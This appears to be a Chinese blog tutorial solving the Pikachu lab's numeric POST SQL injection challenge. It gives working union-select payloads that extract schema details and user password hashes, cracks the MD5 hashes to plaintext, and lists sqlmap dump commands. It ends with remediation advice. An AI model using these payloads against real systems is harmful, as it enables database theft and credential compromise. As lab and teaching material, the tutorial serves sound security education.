Java程序员_编程开发学习笔记_网站安全运维教程_渗透技术教程

Pikachu靶场实战:SQL数字型注入(POST)漏洞分析与通关指南

阿贵
4月18日发布 /正在检测是否收录...
温馨提示:
本文最后更新于2025年04月20日,已超过19天没有更新,若内容或图片失效,请留言反馈。

Pikachu靶场实战:SQL数字型注入(POST)漏洞分析与通关指南

SQL注入漏洞作为OWASP Top 10长期位居首位的安全威胁,其危害性不言而喻。本文将以Pikachu漏洞练习平台为实验环境,深入剖析数字型注入(POST)漏洞的原理、利用方式及防御措施,并提供详细的通关教程,帮助安全研究人员和开发人员理解这类漏洞的本质。

实验环境与工具准备

在开始实战之前,我们需要搭建好实验环境并准备必要的工具:

  • Pikachu漏洞练习平台:一个专为Web安全学习设计的靶场环境,集成了多种常见漏洞场景
  • Firefox/Chrome浏览器:用于访问和交互测试目标页面
  • Burp Suite社区版/专业版:强大的Web代理工具,用于拦截和修改HTTP请求
  • Postman(可选):API测试工具,可作为Burp Suite的替代方案
  • Kali Linux(可选):内置多种安全测试工具,如hash-identifier用于识别哈希类型

实验环境搭建完成后,访问Pikachu平台的SQL注入模块,选择"数字型注入(post)"开始我们的测试。

SQL数字型注入原理深度解析

数字型注入是SQL注入的一种常见形式,与字符型注入的主要区别在于参数类型和闭合方式。数字型注入发生在应用程序将用户输入直接拼接到SQL查询中且未对输入进行适当过滤或参数化处理时。

漏洞形成机制

在Pikachu平台的数字型注入场景中,后台处理逻辑可能类似以下PHP代码:

$id = $_POST['id']; // 直接获取用户输入,未做任何过滤
$query = "SELECT username, email FROM users WHERE id = $id"; // 直接拼接SQL语句
$result = mysqli_query($conn, $query);

当攻击者提交id=1 or 1=1时,实际执行的SQL语句变为:

SELECT username, email FROM users WHERE id = 1 or 1=1

由于1=1恒为真,此查询将返回users表中的所有记录,而不仅仅是ID为1的用户。

数字型与字符型注入的区别

  1. 参数类型:数字型注入处理的是整数或浮点数参数,不需要引号闭合;字符型注入则需要考虑单引号或双引号的闭合问题
  2. 注入方式:数字型注入可直接拼接逻辑运算符(如or 1=1);字符型注入需要先闭合字符串引号
  3. 探测方式:数字型注入可通过算术运算(如1-1)测试;字符型注入则通过引号触发语法错误

数字型注入实战通关教程

下面我们分步骤演示如何利用Burp Suite完成Pikachu平台数字型注入的完整渗透测试过程。

步骤1:注入点探测与确认

  1. 访问Pikachu平台的数字型注入(post)页面,观察界面为一个下拉选择框(1-6)和查询按钮
  2. 开启Burp Suite代理,配置浏览器通过Burp发送请求
  3. 在页面选择任意数字(如1)点击查询,Burp会拦截到POST请求:

sqlid1.png

POST /vul/sqli/sqli_id.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

id=1&submit=%E6%9F%A5%E8%AF%A2
  1. 将请求发送到Repeater模块以便后续测试
  2. 修改id=1id=1-1,若返回"您输入的user id不存在",则确认存在数字型注入漏洞
    sqlid2.png
    或者修改id=1id=1\,则会返回页面报错信息,那么就可以确定存在sql注入漏洞
    sqlid3.png

步骤2:确定查询字段数

使用ORDER BY子句确定查询返回的列数:

  1. 发送id=1 order by 2,若正常返回数据,则确认查询只涉及2个字段
    sqlid4.png
    sqlid5.png
  2. 发送id=1 order by 3,若返回错误"Unknown column '3' in 'order clause'",说明字段列数少于3
    sqlid6.png

步骤3:联合查询获取数据库信息

利用UNION SELECT确定回显位置并提取敏感信息:

  1. 首先使原查询不返回结果:id=-1 union select 1,2,确认哪些位置会回显(通常两个位置都会显示)
    sqlid7.png
  2. 获取数据库版本和当前数据库名:

    id=-1 union select version(),database()#

sqlid8.png

返回结果可能类似:

hello,5.7.26
your email is: pikachu

表明MySQL版本为5.7.26,当前数据库为"pikachu"

  1. 获取数据库中的所有表名:

    id=-1 union select 1,table_name from information_schema.tables where table_schema=database()#

sqlid9.png

会依次返回pikachu数据库中的所有表:httpinfo, member, message, users, xssblind等

步骤4:提取表结构与数据

  1. 获取users表的所有列名:

    id=-1 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users'#

sqlid10.png

通常会返回username, password, id等字段

  1. 提取users表中的用户名和密码哈希:

    id=-1 union select username,password from users#

    返回结果示例:

sqlid11.png

hello,admin
your email is: e10adc3949ba59abbe56e057f20f883e

hello,pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd

步骤5:破解哈希获取明文密码

  1. 使用Kali的hash-identifier工具识别哈希类型(示例中均为MD5)
  2. 通过在线MD5解密网站(如cmd5.com)破解哈希:

    • admin:e10adc3949ba59abbe56e057f20f883e → 123456
    • pikachu:670b14728ad9902aecba32e22fa4f6bd → 000000
    • test:e99a18c428cb38d5f260853678922e03 → abc123

自动化工具辅助测试(可选)

除了手动注入,我们还可以使用sqlmap自动化完成注入过程:

  1. 捕获请求并保存为txt文件(如request.txt):

    POST /vul/sqli/sqli_id.php HTTP/1.1
    Host: localhost
    Content-Type: application/x-www-form-urlencoded
    
    id=1&submit=%E6%9F%A5%E8%AF%A2
  2. 使用sqlmap执行测试:

    sqlmap -r request.txt -p id --batch

sqlid12.png

  1. 获取数据库信息:

    sqlmap -r request.txt -p id --dbs --batch
    sqlmap -r request.txt -p id -D pikachu --tables
    sqlmap -r request.txt -p id -D pikachu -T users --dump
    sqlmap -r request.txt -p id --dbs --batch

    sqlid13.png

    sqlmap -r request.txt -p id --current-db --batch

sqlid14.png

sqlmap -r request.txt -p id -D pikachu --tables --batch

sqlid15.png

sqlmap -r request.txt -p id -D pikachu -T users --dump --batch

sqlid16.png

漏洞修复建议

针对数字型注入漏洞,开发人员应采取以下防护措施:

  1. 参数化查询(预处理语句)

    $stmt = $conn->prepare("SELECT username, email FROM users WHERE id = ?");
    $stmt->bind_param("i", $id); // "i"表示参数为整数类型
    $stmt->execute();
  2. 输入验证

    • 确保数字型参数确实为数字(如is_numeric()
    • 对于有限范围的ID,检查是否在允许范围内
  3. 最小权限原则

    • 数据库连接使用最低必要权限的账户
    • 限制Web应用账户对information_schema的访问
  4. Web应用防火墙(WAF)

    • 部署WAF拦截常见注入攻击模式
    • 但不应作为唯一防护措施

总结与思考

通过本次Pikachu靶场实战,我们系统性地掌握了数字型注入漏洞的以下关键点:

  1. 漏洞本质:未经处理的用户输入直接拼接至SQL查询
  2. 利用流程:注入点确认→信息收集→数据提取→权限提升(本场景未涉及)
  3. 防御体系:参数化查询为主,输入验证、最小权限、WAF为辅的多层防护

SQL注入虽然是一种"古老"的漏洞类型,但在现代Web应用中仍然广泛存在。作为开发人员,应当从根本上采用安全编码实践;作为安全人员,则需要掌握各种注入技术以进行有效防护。Pikachu靶场提供了一个安全的实验环境,建议读者在合法授权的前提下多加练习,深入理解SQL注入的各类变种及其防御方法。

法律与道德提示:本文所有技术内容仅限用于合法授权的安全测试与学习研究。未经授权的渗透测试可能违反法律,请务必遵守当地法律法规和职业道德准则。
喜欢就支持一下吧
点赞 0 分享 收藏
评论 抢沙发
OωO
取消 登录评论